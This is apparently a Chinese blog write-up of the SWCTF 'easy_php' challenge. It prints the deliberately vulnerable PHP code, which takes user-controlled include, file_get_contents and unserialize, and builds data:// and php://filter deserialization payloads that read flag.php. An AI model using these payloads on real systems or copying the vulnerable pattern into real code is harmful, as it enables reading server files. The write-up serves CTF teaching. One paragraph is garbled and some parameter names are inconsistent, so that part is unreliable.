SWCTF

easy_php

源码

<?php

// flag is in flag.php
highlight_file(__FILE__);
ini_set('display_errors', 0);
error_reporting(0);

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) {
    $myon1 = $_GET['myon1'];
    $myon2 = $_GET['myon2'];
    $myon3 = $_GET['myon3'];

    if (file_get_contents($myon1) === "hello Myon!") {
        echo "welcome!";
    } else {
        die("you can't see the flag!");
    }

    if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
        die("Access denied!");
    } else {
        include($myon2);  // myon.php
        $my = unserialize($myon3);
        echo $my;
    }
}

?>

代码分析

提亮字体

highlight_file(__FILE__);

关闭错误回显,暴露出的信息越少越有利于网站的自我保护

ini_set('display_errors', 0);
error_reporting(0);

同时get传入三个参数,必须同时传入三个参数mony1,mony2,mony3少传一个都不会执行最大的这个if

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) 

设置三个变量用来存储传入的参数用于后续代码执行

$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];

此函数的判断条件是mony1储存的数据是否全等于hello Myon!如果是则输出welcom!,否则

if (file_get_contents($myon1) === "hello Myon!") {
        echo "welcome!";
    } else {
        die("you can't see the flag!");
    }

匹配mony2中最后一次出现flag的位置,出现了则不全等flase
stripos($myon2, “flag”) !== false

正则表达式匹配flag,i标识不区分大小写
preg_match(“/flag/i”, $myon2)

总之就是||前后的都必须为假也就是mony2中不能有flag字符串,不然就终止程序并且输出Access denied!,如果都没有包含flag,就文件包含mony2

if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {
        die("Access denied!");
    } else {
        include($myon2);  // myon.php
        $my = unserialize($myon3);
        echo $my;
    }

其次这个函数里还创建了一个变量my将mony3反序列化后赋值给了my最后输出my

序列化,反序列化

序列化就是将对象转换为字符串,反序列化将字符串转换为对象
可以看看这个博主写的

构建参数

mony1:目的输出welcom!

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
为什么这么构造呢,你先不管后两个参数的内容是什么,只将第一个参数mony1的值改为hello world在这里插入图片描述之后我做了很多此尝试发现始终不会输出welcom,所以这里大概率是做了过滤,应该是把空格处理了,然后我尝试将空格替换成了url编码的格式还是不行在这里插入图片描述
这里我做了很多尝试,想到了base64编码,但是还是在这里插入图片描述
在这里插入图片描述
伪协议可以参考学习一下这个博主的
它不知道这个是base64编码,我们要告诉它,这就需要利用data://控制输入流告诉它这里有base编码。
也就是

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=

在这里插入图片描述

mony2

看到了提示,myon.php
在这里插入图片描述
当给 m y o n 2 传递参数为 m y o n . p h p 时,接下来的代码执行如下: 1. i n c l u d e ( myon2 传递参数为 myon.php 时,接下来的代码执行如下: 1.include( myon2传递参数为myon.php时,接下来的代码执行如下:1.include(myon2);:这会包含 myon.php 文件的内容。如果 myon.php 存在并且可访问,其中的代码将被执行。
2. m y = u n s e r i a l i z e ( my = unserialize( my=unserialize(myon3);:这一行尝试对 m y o n 3 进行反序列化操作。 myon3 进行反序列化操作。 myon3进行反序列化操作。myon3 包含了一个序列化的对象,如果反序列化成功,会将对象存储在变量 $my 中。

这样就行了

myon2=myon.php.

myon3

在这里插入图片描述
根据此模板构造
在这里插入图片描述
试着传入myon3的值,一般编码读取的成功性更大

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=myon.php";}

在这里插入图片描述
在这里插入图片描述
这个序列化的对象表示一个名为 “Myon” 的类,其中有一个名为 “myon” 的属性
可以直接读取myon.php的文件那不妨直接试试读取flag.php,这里给了提示
在这里插入图片描述

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
类似的我们还可以读取网页源码

在这里插入图片描述

将三者拼接到一起就成功获取了一个fbase64加密的flag

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

相关推荐

  1. <span style='color:red;'>SWCTF</span>

    SWCTF

    2024-04-22 10:12:04      17 阅读
  2. 2023SICTF-web-白猫-[签到]Include

    2024-04-22 10:12:04       31 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-22 10:12:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-22 10:12:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-22 10:12:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-22 10:12:04       20 阅读

热门阅读

  1. 负载均衡原理及算法

    2024-04-22 10:12:04       12 阅读
  2. Sentinel

    Sentinel

    2024-04-22 10:12:04      12 阅读
  3. 阿里云难题学习笔记

    2024-04-22 10:12:04       11 阅读
  4. C#基础|数组的使用、字符串的分隔与连接

    2024-04-22 10:12:04       12 阅读
  5. 6、掌握对象在内存中的分配与变迁

    2024-04-22 10:12:04       14 阅读
  6. 20个npm常用命令及详解

    2024-04-22 10:12:04       12 阅读
  7. 监控指定任务,结束钉钉通知

    2024-04-22 10:12:04       11 阅读
  8. 【设计模式】模板方法模式

    2024-04-22 10:12:04       12 阅读